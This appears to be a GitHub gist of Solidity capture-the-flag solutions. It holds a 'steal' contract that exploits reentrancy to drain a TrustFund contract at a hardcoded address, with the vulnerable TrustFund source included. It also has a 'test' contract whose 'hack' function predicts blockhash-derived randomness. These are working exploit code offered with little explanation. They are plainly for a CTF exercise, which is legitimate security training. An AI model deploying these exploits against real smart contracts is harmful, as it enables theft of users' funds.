allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); | |
} | |
Approval(msg.sender, _spender, allowed[msg.sender][_spender]); | |
return true; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.24; | |
contract steal { | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.24; | |
contract test { | |
function hack(address me) view returns (uint256) { | |
//bytes32 target = keccak256(abi.encodePacked(entropy^entropy2)); | |
//return uint256(keccak256(abi.encodePacked(me))); | |
// 10226387580383033375430629244019694355438975746826919668943636194578344853943 | |
bytes32 entropy = blockhash(block.number); | |
bytes32 entropy2 = keccak256(abi.encodePacked(me)); | |
return uint256(entropy^entropy2); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.24; | |
import "./CtfFramework.sol"; | |
import "./SafeMath.sol"; | |
contract steal { | |
TrustFund target = TrustFund(0xde157c6dbec5bd93b0513dc8960e19de4e49e090); | |
uint256 flag; | |
function go() public { | |
target.withdraw(); | |
msg.sender.transfer(address(this).balance); | |
} | |
function() payable public { | |
flag++; | |
if (flag < 10) { | |
target.withdraw(); | |
} | |
} | |
} | |
contract TrustFund is CtfFramework{ | |
using SafeMath for uint256; | |
uint256 public allowancePerYear; | |
uint256 public startDate; | |
uint256 public numberOfWithdrawls; | |
bool public withdrewThisYear; | |
address public custodian; | |
constructor(address _ctfLauncher, address _player) public payable | |
CtfFramework(_ctfLauncher, _player) | |
{ | |
custodian = msg.sender; | |
allowancePerYear = msg.value.div(10); | |
startDate = now; | |
} | |
function checkIfYearHasPassed() internal{ | |
if (now>=startDate + numberOfWithdrawls * 365 days){ | |
withdrewThisYear = false; | |
} | |
} | |
function withdraw() external ctf{ | |
require(allowancePerYear > 0, "No Allowances Allowed"); | |
checkIfYearHasPassed(); | |
require(!withdrewThisYear, "Already Withdrew This Year"); | |
if (msg.sender.call.value(allowancePerYear)()){ | |
withdrewThisYear = true; | |
numberOfWithdrawls = numberOfWithdrawls.add(1); | |
} | |
} | |
function returnFunds() external payable ctf{ | |
require(msg.value == allowancePerYear, "Incorrect Transaction Value"); | |
require(withdrewThisYear==true, "Cannot Return Funds Before Withdraw"); | |
withdrewThisYear = false; | |
numberOfWithdrawls=numberOfWithdrawls.sub(1); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment